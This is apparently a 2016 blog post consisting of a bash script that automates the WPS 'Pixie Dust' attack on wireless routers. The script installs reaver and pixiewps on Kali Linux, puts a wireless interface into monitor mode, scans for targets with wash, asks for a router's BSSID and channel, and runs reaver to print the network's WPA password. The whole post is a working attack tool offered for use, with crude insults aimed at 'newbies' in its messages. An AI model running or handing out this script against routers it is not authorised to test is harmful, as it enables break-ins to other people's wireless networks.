Mar 172016
 

…..pixie dust pixie dust every where you look

#!/bin/bash
 
if [ "`cat /etc/debian_version`" != "Kali Linux Rolling" ]; then
      echo "fucking newbies"
      exit 1
fi
 
if [ "`whoami`" != root ]; then
	echo "fail newbie"
        exit 1
fi
 
if [ ! -f /usr/local/bin/wash ]; then
	echo "building pixiedust requirements"
	apt-get update
	apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev pixiewps
	cd ~
	git clone https://github.com/t6x/reaver-wps-fork-t6x
	cd ~/reaver-wps-fork-t6x/src/
	./configure
	make
	make install
	echo "install completed, run this script again ...."
else
	echo "....a few questions....take my hand....."
	echo "What is your wireless interface, i.e. wlan0"
	read WI
	echo "placing wireless interface into monitor mode ... please wait"
	airmon-ng start ${WI} &
	echo "finding targets .... please wait"
	/usr/local/bin/wash -i ${WI}
	echo "What is the BSSID of the router to attack, i.e. MY_BSSID"
	read BS
	echo "What is the channel of the router to attack, i.e. 9"
	read RC
	echo "attacking router .... please wait"
	echo "the password will be displayed as WPA PSK: below....."
	/usr/local/bin/reaver -i ${WI} -b ${BS} -c ${RC} -vvv -K 1 -f
fi